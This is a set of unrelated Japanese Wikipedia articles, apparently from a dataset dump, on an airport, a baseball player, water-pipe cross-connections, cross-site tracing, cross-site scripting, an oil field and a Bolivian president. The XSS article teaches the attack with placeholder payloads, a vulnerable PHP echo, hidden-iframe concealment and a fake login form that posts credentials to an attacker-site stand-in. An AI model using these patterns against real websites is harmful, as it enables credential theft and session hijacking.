stanford-oval/wikipedia huggingface dataset:
スルタン・アブドゥル・アジズ・シャー空港
概要

クアラルンプール中心部から西南西へ約15kmに位置する。
航空管制 : マレーシア民間航空局
運用時間 : 24時間
ILS : 15サイド - カテゴリー I、33サイド - カテゴリー II
沿革

1965年8月30日、それまでのクアラルンプール国際空港（現在のスンガイ・ベシ空港（英語版））に代わる空港として開港し、その名を継いだ。当時としては東南アジアで最長の滑走路を持っていた。
1990年代までに3つのターミナルを持つまでになり、ターミナル 1 は国際線、ターミナル 2 はシンガポールとのシャトル便、ターミナル 3は国内線と、それぞれ供用されていた。
1998年6月30日に新たなクアラルンプール国際空港（略称：KLIA）がセパンに開港し、クアラルンプール国際空港の名を譲ってスルタン・アブドゥル・アジズ・シャー空港に変更された。
現在では、プロペラ機による旅客便にのみ使用される。このほか、政府専用機、マレーシア空軍、チャーター機、一部の貨物便が同空港を使用している。
ターミナル 1 は取り壊され、ターミナル 2 は、マレーシア空港会社の本社が入居している。ターミナル 3 は、SkyPark Terminal として旅客便の運航に供している。
就航航空会社と就航地

| 航空会社 | 就航地 | 備考 |
| --- | --- | --- |
|  ファイアフライ  |  アロースター、ジョホールバル、コタバル、クアラ・トレンガヌ、ランカウイ、ペナン シンガポール/セレター  |   |
|  バティック・エア・マレーシア  |  コタバル、ランカウイ、ペナン バタム島  |   |
|  SKS航空（英語版）  |  レダン島（英語版）、ティオマン島（英語版）  |   |
|  ベルジャヤ航空  |  （チャーター便）  |   |
|  ラヤ航空  |  コタキナバル、クチン、シンガポール、ジャカルタ、ホーチミン、香港、南寧  |  貨物  |
2023年8月現在
交通アクセス

鉄道 KTMコミューター KLセントラル駅まで30分
詳細は「スカイパーク・リンク」を参照
空港バス
JETBUS - TBS バスターミナル（バンダル・タシッ・スラタン駅）
AEROBUS - クアラルンプール国際空港
路線バス
Rapid KL 772 - アジア・ジャヤ駅、KLセントラル駅、パサール・スニ駅
Rapid KL T773 - アラ・ダマンサラ駅
Rapid KL T804 - クワサ・セントラル駅
タクシー
事故

日本航空クアラルンプール墜落事故
マレーシア航空684便着陸失敗事故 - 1983年、スバン空港の手前2kmでマレーシア航空のA300が着陸に失敗した事故。
1991年3月26日、シンガポール航空117便がハイジャックされた。
カルロス・ムニス

| --- | --- |
: 千葉ロッテマリーンズでプレーした「フアン・カルロス・ムニス」とは別人です。
| --- | --- |
 ニューヨーク・メッツ時代（2008年）
基本情報
国籍:   アメリカ合衆国
出身地:  カリフォルニア州ロサンゼルス郡トーランス
生年月日:   (1981-03-12) 1981年3月12日（43歳）
身長 体重:  6' 1" ＝約185.4 cm 190 lb ＝約86.2 kg
選手情報
投球・打席:  右投右打
ポジション:  投手
プロ入り:  2003年 MLBドラフト13巡目
初出場:  2007年9月25日
最終出場:  2008年8月10日
経歴（括弧内はプロチーム在籍年度）
  カリフォルニア州立大学ロングビーチ校  ニューヨーク・メッツ (2007 - 2008)
 この表について  この表はテンプレートを用いて表示しています。編集方法はTemplate:Infobox baseball playerを参照してください。 ■プロジェクト:野球選手  ■テンプレート  
カルロス・ムニス（Carlos Javier Muñiz, 1981年3月12日 - ）は、アメリカ合衆国カリフォルニア州ロサンゼルス郡トーランス出身の野球選手（投手）。
来歴

2003年のMLBドラフト13巡目でニューヨーク・メッツに指名され契約。2007年9月25日の対ワシントン・ナショナルズ戦（シェイ・スタジアム）で、6回表から2番手として登板しメジャーデビュー。結果は1回1/3を投げて2失点と苦いメジャーデビューとなった。この試合を含め、リリーフとして同年は2試合に登板し、防御率7.71。2008年は18試合に登板し、防御率5.40とここでもリリーフとして結果を残せなかった。2009年はメジャー昇格を果たせず、9月9日にFAとなった。2010年2月4日にメッツと再契約するものの、同年もメジャー昇格は果たせず、11月6日にFAとなった。
2011年はメキシカンリーグのカンペチェ・パイレーツでプレー。しかし、ここでも31試合登板で防御率5.46と精彩を欠き、同年限りで現役引退。
詳細情報 > 年度別投手成績

| 年  度 | 球団 | 登板 | 先発 | 完投 | 完封 | 無四球 | 勝利 | 敗戦 | セ丨ブ | ホ丨ルド | 勝率 | 打者 | 投球回 | 被安打 | 被本塁打 | 与四球 | 敬遠 | 与死球 | 奪三振 | 暴投 | ボ丨ク | 失点 | 自責点 | 防御率 | WHIP |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2007 | NYM | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | ---- | 10 | 2.1 | 1 | 0 | 2 | 0 | 0 | 2 | 0 | 0 | 2 | 2 | 7.71 | 1.29 |
| 2008 | NYM | 18 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | .500 | 100 | 23.1 | 24 | 4 | 7 | 0 | 2 | 16 | 2 | 0 | 14 | 14 | 5.40 | 1.33 |
| 通算：2年 | 通算：2年 | 20 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | .500 | 110 | 25.2 | 25 | 4 | 9 | 0 | 2 | 18 | 2 | 0 | 16 | 16 | 5.61 | 1.32 |
詳細情報 > 背番号

38 （2007年）
32 （2008年）
クロスコネクション

クロスコネクションは、上水の給水・給湯系統とその他の系統が、配管・装置により直接接続されることである。汚染防止のため、水道法によって禁じられている。
概要

生命の維持に重要な役割を果たす水や、その供給を担う上水道の汚染を防止するために水道法は上水道がその他の配管と直接連結されないことを求めている。
給湯は給水と同一系統であり、給水に直接接続してもクロスコネクションとならないが、給湯システムの補給水には逆止弁を設置する。
状況

クロスコネクションには、井戸水と上水を切換えて使用するために意図的に行なわれるものと、上水配管と雑用水に使用することを意図した配管その他との誤接続によるものがある。前者に対しては、上水道供給自治体が条例を作成し、是正を推進している。また、後者のうち同一ビル内で起こりやすいクロスコネクションに対しては以下の防止策が考えられる。
状況 > 防止策

上水配管と雑用水配管の管材を変える
配管に用途、行き先を表示する
雑用水に着色する
状況 > 事故

井戸水との故意のクロスコネクションは、水質によっては健康被害を呼ばないことも考えられるが、水道水が大量に井戸に流入し、莫大な水道料金が発生することもありうる。最近の日本国内のクロスコネクションの事故例を以下に示す。
厚生労働省「平成19年度水道関連の主要な事件・事故について」より
農薬散布用施設との誤接続（東京、2007年）
中水管との誤接続 （広島、2007年）
雨水利用配管との誤接続 （東京、2007年）
温泉水管との誤接続 （秋田、2007年）
厚生労働省「平成20年 水道関連の主要な事件・事故について」より
艦船用消火給水栓との誤接続 （京都、2008年）
消火管との誤接続 （和歌山、2008年）
冷却水管との誤接続 （北海道、2008年）
冷却水管との誤接続 （群馬、2008年）
中水の通水試験。
クロスサイトトレーシング

クロスサイトトレーシング (cross-site tracing, XST) は、webセキュリティにおいてHTTP TRACEメソッドを悪用するネットワーク・セキュリティの脆弱性である。
概要

XSTスクリプトは、ActiveX、Flash、またはHTTP TRACE要求の実行を可能にするその他のコントロールを悪用する。HTTP TRACE応答には、認証データとHTTP Cookieの内容を含むすべてのHTTPヘッダーが含まれ、これらはスクリプトで使用することができる。 このエクスプロイトは、Webブラウザのクロスドメインアクセスの欠陥と組み合わせて、SSLを利用しているWebサイトを含む任意のWebサイトのキャッシュされた資格情報を収集することができる。
参考資料

| 表 話  歴脆弱性、攻撃手法、エクスプロイト |
| --- | --- |
クロスサイト攻撃:  クロスサイトリクエストフォージェリ (CSRF)  クロスサイトスクリプティング (XSS)  クロスサイト・クッキング  クロスサイトトレーシング  クロスゾーンスクリプティング（英語版） 
インジェクション攻撃 (CWE-74):  クロスサイトスクリプティング (XSS) (CWE-79)  SQLインジェクション (CWE-89)  HTTPヘッダ・インジェクション  HTTPレスポンススプリッティング（英語版） (CWE-113)  書式文字列攻撃 (CWE-134) 
スプーフィング攻撃:  DNSスプーフィング  IPスプーフィング  ARPスプーフィング  クリックジャッキング (CAPEC-103)  リファラスプーフィング（英語版）  Eメールスプーフィング（英語版）  フィッシング (CAPEC-98)  ファーミング (CAPEC-89) 
セッションハイジャック関連:  セッションフィクセーション (CWE-384, CAPEC-61)  セッションポイズニング（英語版）  TCPシーケンス番号予測攻撃  クッキーモンスター攻撃（英語版） 
DoS攻撃:  Land攻撃  クリアチャネル評価攻撃（英語版） 
サイドチャネル攻撃:  コールドブート攻撃（英語版）  Meltdown  Spectre  Lazy FP state restore（英語版）  TLBleed（英語版） 
不適切な入力確認 (CWE-20):  バッファオーバーフロー (CWE-119、120、121等)  Return-to-libc攻撃  ディレクトリトラバーサル (CWE-22) 
未分類:  中間者攻撃 (CAPEC-94)  MITB攻撃  MOTS攻撃（英語版）  Off-by-oneエラー (CWE-193)  ファイルインクルード脆弱性（英語版）  Mass Assignment脆弱性（英語版）  ダングリングポインタ（英語版）  DNSリバインディング  in-sessionフィッシング（英語版）  クッキースタッフィング（英語版）  悪魔の双子攻撃  IDNホモグラフ攻撃  スナーフィング（英語版）  JITスプレーイング（英語版）  リプレイ攻撃  誕生日攻撃  CRIME  KRACK  Intel ME（英語版）の脆弱性 
対策:  OP25B  Content Security Policy（英語版）  コンテントスニッフィング（英語版）  HTTP Strict Transport Security (HSTS)  ファイアウォール  侵入防止システム (IPS)  侵入検知システム (IDS)  Web Application Firewall (WAF)  Wi-Fi Protected Access 
関連項目:  マルウェア  セキュリティホール  クラッキング  脆弱性情報データベース  ブラウザクラッシャー  シェルコード  Metasploit  Sshnuke  Nikto Web Scanner（英語版）  OWASP（英語版）  w3af（英語版）  隠れ通信路（英語版）
クロスサイトスクリプティング

クロスサイトスクリプティング（英: cross-site scripting）とは、Webアプリケーションの脆弱性もしくはそれを利用した攻撃。脆弱性をツリー型に分類するCWEではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)。略称はXSS。かつてはCSSという略称も使われていたが、Cascading Style Sheetsと紛らわしいのでこの略称はあまり使われなくなった。
「クロスサイト（サイト横断）」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった。
この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを脆弱性のある標的サイトのドメインの権限において閲覧者のブラウザで実行させる攻撃一般を指す。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している（同一生成元ポリシー）はずの行動を、攻撃者に実行可能にしてしまう。
概要 > 背景

詳細は「同一生成元ポリシー」を参照
XSSについて述べる前に、ウェブサイトの仕組みについて簡単に復習する。JavaScriptのようなクライアントサイドのスクリプトは、ウェブサイトが閲覧者が取った行動（例えばフォーム に何を記載したか）を変数の形で取得し、取得した変数値に応じて動的にHTMLを生成する。
セキュリティの観点から見た場合スクリプトには非常に強い権限が与えられている為、これを悪用された場合には大きな危険を伴う事になる。具体的にはスクリプトを使えばブラウザに保管されているcookieの内容を読み書きする事も可能であるし、ログイン時にはサイトからユーザ固有の情報を読み書きする事も可能である。さらにはそうした情報を別のサイト（例えば攻撃者のサイト）に転送する事も可能である。
こうした事情によりウェブブラウザには同一生成元ポリシーという、スクリプトの悪用を制限するためのポリシーが実装されている。このポリシーは、「ウェブページ１に記載されたスクリプトがそれとは別のウェブページ２に関するデータにアクセスできるのは、ページ１と２が同一の「オリジン」にある場合のみである」とするものである。ここでページ１と２のオリジンが同一であるとは、１と２のプロトコル、ホスト名、ポート番号が一致する事を指す。
多くのケースにおいて同一のウェブサイト上にあるページは同一のホスト上において同一のプロトコル(http)と同一ポート番号(80番)で動作するものなので、同一生成元ポリシーはウェブサイトを構築する上であまり邪魔にならない。しかし攻撃者が全く別のサイトからスクリプトによってデータを不正に読み取ろうとしたとしても同一生成元ポリシーがこれを妨げるのでセキュリティは担保される。
概要 > XSS攻撃の目的と特徴づけ

XSS攻撃は、ウェブサイト（標的サイト）の脆弱性(XSS脆弱性)を利用する事で、標的サイトの権限で悪意のあるコンテンツ（多くの場合スクリプト）を実行する事を目的として行われる。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ（＝被害者）のcookieを盗むなど、様々な攻撃を行う。
CWE-79ではXSS攻撃を以下のような攻撃として特徴づけており、XSS脆弱性をXSS攻撃を可能にする脆弱性として特徴づけている。XSS攻撃を行う攻撃者は標的サイトへのデータ入力経路に不正なデータを注入（インジェクション）する。ここでいう「データ入力経路」は正規のユーザのために用意された入力経路（例えばフォーム）の場合もあればそうでない場合もあり、標的サイトのウェブアプリケーションへのWebリクエスト全般が狙われる。また不正なデータはスクリプトなどWebブラウザで実行可能な悪意のあるコンテンツを含んだものが用いられる。
このインジェクションの結果、標的サイトのウェブサーバが攻撃者の用意した不正データを含んだウェブページを動的に生成する。この生成されたウェブページを被害者となるユーザが閲覧すると、不正なデータに含まれる悪意のあるコンテンツが標的サイトの権限により被害者のブラウザ上で実行され、攻撃が成功する。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」は何らかのスクリプトである事が多いので、本稿では以下、特に断りがない限りスクリプトのケースについて述べる。
XSS脆弱性とXSS攻撃の詳細

本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。
すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としてはユーザが値を決定できる変数値を加工せずそのままウェブページに表示（エコーバック）してしまうというものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い：
ユーザが入力した内容を確認・訂正させるページ
検索結果の表示
エラー表示
ブログや掲示板におけるコメントの反映
そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値（"man"もしくは"woman"）を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする（再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい）。
入力した性別は以下のもので正しいでしょうか：
 （genderの値）
具体的にはたとえばPHPで
<?php echo "名前：".$_GET['gender']; ?>
もしくは
<?php echo "名前：".$_POST['gender']; ?>
というスクリプトが書かれていた場合である。
このようなページにおいて、攻撃者が何らかの方法でgenderの値を
gender=<script>（悪意のあるスクリプト）</script>
にセット（＝スクリプトのインジェクション。 詳細後述）し、この状態で被害者となるユーザがこのページにアクセスしてしまうとXSS攻撃は成功となる。
実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML
入力した性別は以下のもので正しいでしょうか：
<script>（悪意のあるスクリプト）</script>
を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。
なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の２つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値（＝悪意のあるスクリプト）にgenderをセット可能である。
XSS脆弱性とXSS攻撃の詳細 > インジェクション方法の具体例

次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の２通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を２通り述べる。
なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。
XSS脆弱性とXSS攻撃の詳細 > インジェクション方法の具体例 > GETメソッドのみに適用できる方法

GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは
http://example.com/?gender=（フォームで入力した値）
のような形になっている。
そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法（たとえばexample.comを装った罠メールにこのURLを記載）で促す：
http://example.com/?gender=<script>（悪意のあるスクリプト）</script>
するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。
ここで重要なのは、上記のURLが「http://example.com/」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。
なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。
長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「http://（攻撃者のサイト上の悪意のあるスクリプト）」をおいた上で、被害者に
http://example.com/?gender=<script src="http://（攻撃者のサイト上の悪意のあるスクリプト名）"></script>
を閲覧させればよい。
ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。
XSS脆弱性とXSS攻撃の詳細 > インジェクション方法の具体例 > GETメソッド、POSTメソッド双方に適用できる方法

上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。
標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト（罠サイト）を立ち上げ、そこに以下のようなHTMLを書く：
<form action="http://example.com/" method="POST" name ="hoge">
 <input type="hidden" name="gender" value='<script>（悪意のあるスクリプト）</script>'>
</form>
<script>document.hoge.submit()</script>
被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが（悪意のあるスクリプト）にセットされた状態で標的サイト「http://example.com/」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。
しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。
XSS脆弱性とXSS攻撃の詳細 > 隠蔽工作

上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭に
document.body.innerHTML=""
というJavaScriptを記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。
これに続けて（JavaScriptのdocument.writeメソッドを使って）攻撃に必要な内容をスクリプト部分に自由に記述可能となる。
別の隠蔽工作方法として、罠サイトでHTMLのiframeタグとCSSを用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある（詳細後述）。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。
まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに
<iframe src=http://example.com/?gender=<script>（悪意のあるスクリプト）</script>></iframe>
と記載する。
さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。
この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了し、しかも罠サイトのURLにも不自然なところはないので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。
「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。
被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。
XSS脆弱性とXSS攻撃の詳細 > インジェクションする言語

XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている：
JavaScript
HTML タグ
HTML アトリビュート
マウスイベント
Flash
ActiveX
XSS脆弱性とXSS攻撃の詳細 > インジェクション箇所

HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある：
フォームなど変数の値を入力可能な場所（前述）
スクリプト文
<script></script>の内部、および<script></script>のURLのリモート参照
タグのstyle属性およびイベントハンドラ属性中のスクリプト記述。具体的には<div style="...;z:expression(...);...">や、<span onmouseover="...">等。
URLを属性値として取れる要素、およびそこでのスクリプト直接記述。
具体的にはa要素のhrefとimg、frameとiframeのsrc属性。
2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる。
XSSの被害

攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる：
標的サイトの変数値やcookieなどからの情報漏洩
セッションハイジャック
機能の不正実行
ウェブサイトの改竄（ただし攻撃者が準備したURLからアクセスした場合のみ）
悪意のあるスクリプトによりWebページを改ざんする事でパスワードやクレジットカード番号を入力するフォームをWebページに追加し、ユーザからこれらの情報を盗む（フィッシング 詐欺）
悪意のあるスクリプトを使ってブラウザの脆弱性を突き、ユーザ端末を乗っ取る
ワームの実行
XSSの被害 > 個人情報の奪取

攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlのフォームを生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる：
ログインしてください：<br />
<form name=login action="（攻撃者のサイト名）" method="post">
   ID <input type="text" name="id"> <br />
   パスワード <input type="text" name="pass"> <br />
</form>
攻撃手法の分類

CWE-79ではXSSの攻撃手法を以下の３種類に分類している：
タイプ 1：反射型クロスサイトスクリプティング (非持続的)
タイプ 2: 格納型クロスサイトスクリプティング (持続的)
タイプ 0: DOMベースのクロスサイトスクリプティング
攻撃手法の分類 > 反射型XSS

反射型XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSSの脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に２つある。第一の方法は、標的サイトとは別のWebサイト（公開掲示板や攻撃者自身のWebサイトなど）にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。
攻撃手法の分類 > 格納型XSS

一方、格納型XSSでは、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する。たとえば電子掲示板に格納型XSSの脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。
攻撃手法の分類 > DOMベースXSS

反射型および格納型のXSSではWebアプリケーション側が悪意のあるスクリプトを含んだWebページPを作り出す事が原因で、Pを閲覧した被害者が被害を受ける。それに対しDOMベースXSSは、ブラウザなどのユーザ・クライアントが悪意のあるスクリプトを含んだWebページを生成するタイプのXSSの総称である。DOMベースXSSは、スクリプトを使った以下のような動的html生成(DOM操作)を利用する。一般にユーザがWebサイトにアクセスすると、Webアプリケーションはユーザ・クライアントに対し、（悪意のない正規の）スクリプトSを含んだhtmlを送り返すことがある。ユーザ・クライアントはこのhtmlを受け取ると、htmlに含まれるスクリプトSを実行することで、htmlを書き換え、画面に出力する最終的なhtmlを得る。
DOMベースXSSではこの仕組みを悪用し、ユーザ・クライアント側で実行されるスクリプトSに不正なデータDを注入することで、XSS攻撃を実行する。Dを注入する箇所としては反射型XSSと同様、URLなどを利用する。
他の２つのXSSとは異なり、Webアプリケーション側ではDOMベースXSS攻撃が行われていることを感知できない。したがって例えばWebアプリケーション側にWAFを導入するなどの対策を施してもこの攻撃を検知したり防いだりする事はできない。
というのもDOMの仕組みでは、スクリプトSに注入される不正なデータDは、Webアプリケーションではなくユーザ・クライアント側で取得し、ユーザ・クライアント側でDが注入されたスクリプトSを実行するので、Webアプリケーション側には不正なデータDが一切伝わらないからである。
対策

すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える（エスケープ処理をする）という方法がある：
「<」 → &lt;
「>」 → &gt;
「"」 → &quot;
…
このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「&lt;script&gt;」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。
なおエスケープ処理は例えばPHPのhtmlspecialchars関数を利用する事で実現可能である。
しかしこのような対策には限界があり、#インジェクション箇所で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない。
エスケープが必要な記号として、「<」、「>」、「"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「"」をエスケープする理由は以下で述べる。
対策 > 引用符で囲んだ属性値に対するXSS

HTML中で属性値を引用符でくくっていても適切な対策（属性値中で引用符「"」をエスケープ）をしない限り、XSS対策にならない。たとえば
<input type="text" name="gender" value="inputval"> <br />
のように青色で示した入力値inputvalが引用符でくくられていたとしていても
攻撃者が
http://example.com/?name="+onmouseover%3d"（悪意のあるスクリプト）
というURLを被害者にクリックさせると、被害者のブラウザでは（HTML中では%3dが「=」に変換されるので）
<input type="text" name="gender" value=""onmouseover="（悪意のあるスクリプト）"> <br />
となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう。
インターカンポ油田

| インターカンポ油田 |
| --- | --- |
国:   ベネズエラ
地域:  マラカイボ湖
陸上/海上:  海上
運営者:  中国石油天然気集団
開発史
発見:  1960年
開発開始:  1961年
生産
原油生産量:  10,000  バレル / 日 (~5.0×105 t/a)
推定原油埋蔵量:  1,267 百万バレル (~1.729×108 t)
推定原油埋蔵量 (百万トン):  170
テンプレートを表示
| インターカンポ油田 |
| --- | --- |
内資/外資: 外資
インターカンポ油田は、ベネズエラのマラカイボ湖にある油田。1960年に発見され、中国石油天然気集団が開発。油田は中国石油天然気集団が運営および所有。総確認埋蔵量は約12億6000万バレル (170×10 6トン) で、生産量は日量10,000バレル毎日 (1,600 m3/d)トン) 。
カルロス・メサ・ヒスベルト

| --- | --- |
カルロス・メサ・ヒスベルト Carlos Mesa Gisbert
  
 ボリビア共和国 第78代 大統領
任期: 2003年10月17日 – 2005年6月6日
 ボリビア共和国  副大統領
任期: 2002年8月6日 – 2003年10月17日
元首: ゴンサロ・サンチェス・デ・ロサダ大統領

出生:  (1953-08-12) 1953年8月12日（71歳）  ボリビア、ラパス
政党: 無所属
配偶者: エルビラ・サリナス
カルロス・メサ・ヒスベルト（カルロス・ディエゴ・メサ・ヒスベルト : Carlos Diego Mesa Gisbert : 1953年8月12日 - ）は、ボリビア第78代大統領。政治家。アメリカ合衆国のワシントンDCに拠点を置くシンクタンク、IADのメンバーとなっている。
経歴

2003年10月17日に中道右派政党、民族革命運動党の支援を受けて大統領に着任。それ以前は前大統領であるゴンサロ・サンチェス・デ・ロサダの下で副大統領を務めていたが、「ボリビアガス紛争」と呼ばれる激しい紛争によりサンチェス・デ・ロサダが辞任及び亡命したことにより着任した。同紛争の再燃により2005年6月6日に辞任。副大統領職は2002年8月6日から務め、国会の議長も務めていた。
政治の世界に入る前は、歴史学者であり、ラジオ・テレビ・新聞のジャーナリストとして活躍していた。ボリビア歴史学会の会員でもある。
政治分野の経験の少なさにもかかわらず、サンチェス・デ・ロサダ政権下でメサは急激に頭角を現した。2003年9月には国連総会に招かれ、そこで次の演説を行なっている。
ガスの問題が深刻化するにつれ、抗議行動に対する政府の横暴な鎮圧のやり方（約50名の死者が出たといわれる）にメサは疑問を感じるようになっていった。サンチェス・デ・ロサダが辞任する数日前には、メサはサンチェスの援護をあきらめ、「私はもう私たちが進んできた道を支え続ける事はできない」と述べるに至った。これは、メサがサンチェスの後任の大統領になる道を開くという狙いがあったためであろう。かくしてメサは国の最高権力への切符を手にした。
2004年1月13日、メサはアメリカ合衆国大統領ジョージ・ブッシュとメキシコで会談している。
ボリビアの次の大統領選挙は2007年に予定されていたが、メサは彼の着任が暫定的なものであり、サンチェス・デ・ロサダ政権の任期いっぱいまで務めるつもりは無いことを早々に表明した。しかし、結果としては彼は任期を全うする決意を固めた。
メサはガス問題に関する国民投票を行なう事も約束したが、投票の項目に難解な言葉を使って国民を迷わせる結果となってしまった。
2004年3月に、メサはボリビア政府が国内各所や在外ボリビア大使館で集会を開き、1884年に太平洋戦争で失った海に抜ける領土を返還するようにチリに働きかけると表明した。チリはこれを拒否しているが、メサはこれを政策の中心に据えている。
国内の暴動を受け、メサは議会に対し自身の辞任を申し入れた（2005年3月7日）が、議会は翌日満場一致でこれを否決した。
2005年6月6日、再度辞任を申し出、今度は受理されたため大統領職を辞した。辞任に至る経過については第2次ボリビアガス紛争を参照。
